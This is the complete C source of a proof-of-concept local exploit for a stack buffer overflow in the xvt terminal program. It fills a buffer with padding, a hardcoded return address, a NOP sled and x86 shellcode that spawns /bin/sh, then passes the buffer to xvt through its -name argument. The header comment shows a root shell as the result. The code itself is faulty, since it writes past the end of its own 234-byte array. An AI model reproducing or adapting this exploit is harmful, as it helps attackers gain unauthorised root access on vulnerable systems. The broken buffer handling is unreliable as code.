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- /*
-
- /usr/bin/X11/xvt overflow proof of concept by cb@t-online.fr.
-
- tshaw:~$ ./expl
- bash#
-
- */
-
- #include <stdio.h>
- #include <stdlib.h>
-
- int main()
-
- {
-
- char buf[234];
- int i;
-
- char code[] =
- "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
- "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
- "\x80\xe8\xdc\xff\xff\xff/bin/sh";
-
-
- for(i=0; i<76; i++)
- buf[i] = 0x41;
-
- *(long *)&buf[76]=0xbffffab0; /* ret addr */
-
- memset(buf + 80, 0x90, 234);
- memcpy(buf + 233 - strlen(code), code, strlen(code));
-
- buf[234] = '\0';
-
- execl("/usr/bin/X11/xvt", "xvt", "-name", buf, 0);
-
- }
-